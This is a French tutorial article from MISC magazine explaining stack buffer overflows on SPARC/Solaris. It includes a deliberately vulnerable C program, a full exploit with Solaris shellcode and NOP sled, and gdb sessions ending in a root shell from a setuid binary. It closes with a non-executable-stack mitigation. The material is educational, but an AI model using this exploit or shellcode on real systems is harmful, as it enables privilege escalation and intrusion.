Cet article a pour objectif de présenter le fonctionnement
des débordements de buffer dans la pile sur une architecture SPARC.
La technique est identique à celle utilisée sur les processeurs
INTEL bien que les registres et les accès mémoire soient
différents.
La première partie détaille le fonctionnement des accès mémoire et des registres pour les processeurs SPARC. La seconde partie illustre l'exploitation d'un débordement de buffer.
Ajoutons enfin une petite précision sur l'alignement. Contrairement
à INTEL, les opérations de lecture/écriture ne peuvent
être effectuées que sur des mots entiers (i.e. des
multiples de 4 octets). Toute tentative pour écrire à l'intérieur
d'un mot provoque alors un "Bus error". Le programme suivant illustre ceci
:
---- exemple.c ----
main() { int i; char *a = (char *) malloc(16); for (i = 0; i < 4; i++) { *((int *) a) = i; a++; } }---- exemple.c ----
Le résultat obtenu sur une architecture SPARC est le suivant :
pb@devil:[~/korty] $ uname -a SunOS devil.dev.grolier.fr 5.8 Generic_108528-06 sun4u sparc SUNW,UltraSPARC-IIi-cEngine pb@devil:[~/korty] $ gcc -o exemple exemple.c pb@devil:[~/korty] $ ./exemple Bus Error (core dumped)Par comparaison, regardons ce qui se passe avec le même test sur une architecture INTEL :
tshaw:~$ uname -a Linux tshaw 2.2.19 #2 SMP Wed Jul 18 20:30:32 CEST 2001 i686 unknown tshaw:~$ gcc -o exemple exemple.c tshaw:~$ ./exempleDans le premier cas, sous architecture SPARC, on tente d'accéder en plein milieu d'une adresse mémoire ce qui provoque un "Bus error". Dans le deuxième cas, sous architecture INTEL, cette erreur ne se produit pas. En effet, sous architecture INTEL, le processeur autorise un accès sur une adresse non alignée.
La pile augmente depuis une adresse haute vers une adresse basse. De cette manière, l'allocation de la trame d'une pile consiste à soustraire une valeur au pointeur de pile courant (i.e., on ajoute simplement une valeur négative à la valeur du pointeur de pile).
Avant d'appeler une fonction, l'instruction save est exécutée : save %sp, -taille_de_trame, %sp. Cette instruction provoque plusieurs opérations :
La taille de trame minimum est de 96 octets. Cette valeur devrait être de 92 octets (juste les 23 mots d'appel de liens), mais le pointeur de pile requiert un alignement de 8 octets. Donc, %fp et %sp sont toujours divisibles par 8. Ainsi, la pile contient toujours de la place pour au moins une variable temporaire locale.
Si, par exemple, une fonction nécessite plus de valeurs que ne peuvent en contenir ses registres, il est alors possible de mettre ces valeurs en mémoire. La première est adressée [%fp - 4], la deuxième [%fp - 8], et ainsi de suite (les compilateurs mettent la valeur de retour dans [%fp - 4] juste avant le return, pour finalement le copier dans %i0).
Si plus d'espace temporaire est requis, il faut alors soustraire le nombre d'octets nécessaires (arrondi à un multiple de 8) au pointeur de pile. Le nouvel espace n'est pas immédiatement au-dessus de la nouvelle valeur de %sp car l'espace d'appel de liens occupe toujours cette position au-dessus de %sp.
Soustraire du pointeur de pile fait descendre l'espace d'appel de liens, et le nouvel espace temporaire se trouve entre l'ancien espace temporaire et la nouvelle position de l'appel de liens.
#include <stdio.h> #include <string.h> int smash(char*); int main(int argc, char** argv) { if (argc < 2) { fprintf(stderr, "usage: smashme <string>\n" "En attente d'un débordement de buffer avec votre <string>.\n"); exit(1); } smash(argv[1]); return 0; } int smash(char* egg) { char buff[128]; strcat(buff, egg); /* La vulnerabilite est ici */ return 0; }---- smashme.c ----
Regardons le comportement du programme :
pb@floyd:[~/korty]-> ./smashme `perl -e 'print "A"x128'` pb@floyd:[~/korty]->Jusque là, pas de problème car argv[1] ne dépasse pas 128 caractères. Le programme s'arrête normalement. Voyons maintenant ce que cela donne lorsque nous dépassons la limite des 128 caractères.
pb@floyd:[~/korty]-> ./smashme `perl -e 'print "A"x200'` Segmentation Fault (core dumped) pb@floyd:[~/korty]->Dans le cas ci-dessus, argv[1] contient 200 caractères. La copie de ces 200 caractères dans un tableau limité à 128 éléments (buff[128]) provoque alors un dépassement du buffer, et le "segfault" qui en découle car les sauvegardes des registres sont remplacés par des valeurs non valides.
Si, le main() contenait un exit() à la place du return 0, alors le programme vulnérable ne serait pas exploitable sous une architecture SPARC. Il le serait toujours sur une architecture X86. En effet, juste après un éventuel débordement dans la fonction strcat(), l'appel à exit() ne contient pas la seconde instruction ret nécessaire à l'exploitation. En fait, la fonction exit() se contente d'appeler les fonctions enregistrées par atexit() puis passe la main à l'appel système _exit() qui ne retourne jamais dans le processus appelant :
(gdb) disas exit Dump of assembler code for function exit: 0xff31b5b0 <exit>: save %sp, -96, %sp 0xff31b5b4 <exit+4>: mov %o7, %g1 0xff31b5b8 <exit+8>: call 0xff31b5c0 <exit+16> 0xff31b5bc <exit+12>: sethi %hi(0x1c800), %o5 0xff31b5c0 <exit+16>: or %o5, 0x248, %o5 ! 0x1ca48 0xff31b5c4 <exit+20>: add %o5, %o7, %o5 0xff31b5c8 <exit+24>: mov %g1, %o7 0xff31b5cc <exit+28>: ld [ %o5 + 0xe8c ], %g1 0xff31b5d0 <exit+32>: st %fp, [ %g1 ] 0xff31b5d4 <exit+36>: call 0xff33a4b8 <_PROCEDURE_LINKAGE_TABLE_+5304> 0xff31b5d8 <exit+40>: nop 0xff31b5dc <exit+44>: restore 0xff31b5e0 <exit+48>: mov 1, %g1 0xff31b5e4 <exit+52>: ta 8 End of assembler dump. (gdb)Les appels systèmes sont réalisés en assembleur SPARC par l'intermédiaire de l'instruction ta 8. L'appel système appelé est celui dont le numéro est stocké dans le registre %g1. Ainsi, dans l'exemple ci-dessus, la valeur 1 est placée dans ce registre. Un examen du contenu du fichier /usr/include/sys/syscall.h nous indique :
#define SYS_exit 1
pb@devil:[~/korty] $ gdb --core core GNU gdb 5.0 This GDB was configured as "sparc-sun-solaris2.8". Core was generated by `./smashme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation Fault. #0 0x108f8 in ?? () (gdb) info reg ...snip... o0 0x0 0 o1 0xffbefb80 -4260992 o2 0xffbefb7c -4260996 o3 0x5 5 o4 0x227bc 141244 o5 0xff29b734 -14043340 sp 0xffbefaa8 -4261208 o7 0x108e0 67808 l0 0x41414141 1094795585 l1 0x41414141 1094795585 l2 0x41414141 1094795585 l3 0x41414141 1094795585 l4 0x41414141 1094795585 l5 0x41414141 1094795585 l6 0x41414141 1094795585 l7 0x41414141 1094795585 i0 0x0 0 i1 0x41414141 1094795585 i2 0x41414141 1094795585 i3 0x41414141 1094795585 i4 0x41414141 1094795585 i5 0x41414141 1094795585 fp 0xbefb18 12516120 i7 0x10758 67416 y 0x0 0 psr 0xfe400001 -29360127 cc:-Z--, pil:0, s:0, ps:0, et:0, cwp:1 wim 0x0 0 tbr 0x0 0 pc 0x108f8 67832 npc 0x10760 67424 fpsr 0x0 0 rd:N, tem:0, ns:0, ver:0, ftt:0, qne:0, fcc:=, aexc:0, cexc:0 cpsr 0x0 0 (gdb)Nous remarquons que les registres locaux (%l0 - %l7) et les registres d'entrée (%i0 - %i5) ont été remplacés par 0x41414141 (0x41 = A). Il a été vu précédemment que nous devons écraser %i6 (fp - le frame pointer) et %i7 (PC) avec une adresse pointant sur un shellcode.
Or, dans l'exemple ci-dessus, les registres %i6 (%fp) et %i7 n'ont pas été écrasés. Il nous faut donc rajouter 8 octets à notre buffer afin de modifier ces deux registres.
Ainsi, le buffer vulnérable doit contenir les éléments suivants :
Ensuite, lors du return final, le programme exécute l'instruction se trouvant a l'adresse contenue dans le registre %i7 + 8, c'est-à-dire le shellcode.
---- expl.c ----
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> unsigned long get_sp(void) { __asm__("mov %sp, %i0"); } /* Shellcode Solaris Sparc. */ char *shellcode = "\x82\x10\x20\xca\x92\x1a\x40\x09\x90\x0a\x40\x09\x91\xd0\x20\x08" "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"; int main(int argc, char* argv[]) { int i, len, buff_size; unsigned long sp, target; size_t egg_size; char* egg; if (argc != 3) { fprintf(stderr, "usage: %s <buffer size> <offset>\n", argv[0]); exit(1); } egg_size = atoi(argv[1]) + 1000; egg = (char*)malloc(egg_size); buff_size = atoi(argv[1]); len = strlen(shellcode); /* On calcule et on ajuste notre adresse de retour */ sp = get_sp(); target = sp + atoi(argv[2]); /* Etre sur que nos adresses de Jump soient alignees */ target = (target >> 3) << 3; fprintf(stderr, "On ajoute %d octets de NOPs.\n", buff_size - len); fprintf(stderr, "Le shellcode est de %d octets.\n", len); fprintf(stderr, "%%sp est egal a 0x%x\n", sp); fprintf(stderr, "On Jump a l'adresse 0x%x\n", target); /* On met les Nops */ for (i = 0; i < buff_size - len; i += 4) { *(long *)&egg[i] = 0xac15a16e; } /* On met le shellcode a la fin du buffer */ memcpy(egg + buff_size - len, shellcode, len); /* %i6 = %sp */ *(unsigned long*)&egg[buff_size] = target; /* %i7 = %pc */ *(unsigned long*)&egg[buff_size + 4] = target; fprintf(stderr, "Egg est egal a %d octets.\n", egg_size); /* On execute le programme vulnerable avec comme argument notre buffer */ execl("./smashme", "smashme", (char*)egg, NULL); return -1; }---- expl.c ----
pb@devil:[~/korty] $ gcc -o expl expl.c pb@devil:[~/korty] $ ./expl 200 0 Adding 136 bytes of NOPs. Shellcode is 64 bytes. %sp is 0xffbefae0 Jumping to 0xffbefae0 Egg is 1200 bytes. Illegal Instruction (core dumped) pb@devil:[~/korty] $Utilisons à nouveau gdb afin d'analyser le fichier core :
pb@devil:[~/korty] $ gdb --core core GNU gdb 5.0 Core was generated by `smashme ¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡n¬t¡'. Program terminated with signal 4, Illegal Instruction. #0 0xffbefae8 in ?? () (gdb)gdb nous indique que l'exploit rencontre une instruction illégale à l'adresse 0xffbefae0. Or, Nous avons vu dans la partie appelée "Smash the Stack", que l'appelant de la fonction ayant subit le dépassement retourne et restaure à l'adresse contenue dans le registre %i7 à laquelle il faut ajouter un décalage de 8 octets (soit ret = jmpl %i7+8,%g0).
Notre exploit écrase donc %i6 et %i7 avec l'adresse 0xffbefae0. Lorsque la fonction du programme vulnérable ayant subi le débordement récupère l'adresse contenue en %i7, elle rajoute 8 à l'adresse d'origine ce que nous donne bien 0xffbefae0 + 8 = 0xffbefae8. Il nous faut donc maintenant ajuster l'adresse de retour afin de retomber dans les NOPs pour exécuter par la suite notre shellcode
(gdb) x 0xffbefae8 0xffbefae8: 0x00000000 (gdb)Nous constatons effectivement que nous avons ni NOP, ni shellcode à cette adresse. Remontons alors un peu plus haut dans la pile :
gdb) x/20x 0xffbefae8 - 100 0xffbefa84: 0xac15a16e 0xac15a16e 0xac15a16e 0xac15a16e 0xffbefa94: 0xac15a16e 0xac15a16e 0xac15a16e 0x821020ca 0xffbefaa4: 0x921a4009 0x900a4009 0x91d02008 0x2d0bd89a 0xffbefab4: 0xac15a16e 0x2f0bdcda 0x900b800e 0x9203a008 0xffbefac4: 0x941a800a 0x9c03a010 0xec3bbff0 0xdc23bff8 (gdb)En retirant 100 à l'adresse de retour, nous trouvons bien nos NOPs et notre shellcode. Il nous faut donc passer -100 en second argument de notre exploit, ce qui donne :
pb@devil:[~/korty] $ ./expl 200 -100 Adding 136 bytes of NOPs. Shellcode is 64 bytes. %sp is 0xffbefae0 Jumping to 0xffbefa78 Egg is 1200 bytes. $Bingo! Le shell est exécute par le programme vulnérable. Signalons que le shell obtenu n'appartient pas à root En effet étant donne qu'il est impossible de debugger un programme possédant le bit 's' à moins d'être root, cette démonstration a été réalisée avec un programme utilisateur sans permission spéciale.
Regardons quand même ce que cela donne en ajoutant la permission setuid root à notre programme vulnérable :
root@devil:/home/pb/korty# chown root:other ./smashme root@devil:/home/pb/korty# chmod u+s ./smashme root@devil:/home/pb/korty# exit pb@devil:[~/korty] $ ls -l smashme -rwsr-x--- 1 root other 6872 Oct 10 10:35 smashme pb@devil:[~/korty] $ ./expl 200 -100 Adding 136 bytes of NOPs. Shellcode is 64 bytes. %sp is 0xffbefae0 Jumping to 0xffbefa78 Egg is 1200 bytes. # id uid=0(root) gid=1(other) #Nous obtenons bien un shell root :)
Afin de limiter le risque, il est possible de rendre la pile non exécutable en ajoutant deux lignes dans le fichier /etc/system :
set noexec_user_stack = 1 set noexec_user_stack_log = 1Le système est alors protégé de toute exploitation qui repose sur un shellcode placé dans la pile. Cependant, d'autres techniques existent qui permettent de contourner ceci, comme par exemple celle dite du "retour dans la libc".
Attention ! Cette protection n'est disponible que sous les OS Solaris
2.x Sparc, mais ne fonctionne pas avec Solaris 2.x X86.
Warning: this article is the property of MISC. You are not allowed to copy it unless you firstly ask for the authorization to do so and then specify both the author(s) and MISC.
Attention: cet article est la propriété
de MISC. Vous n'êtes pas autorisés
à le reproduire à moins de demander au préalable la
permission, puis d'indiquer ensuite à la fois l'auteur et MISC en
tant que légitime propriétaire.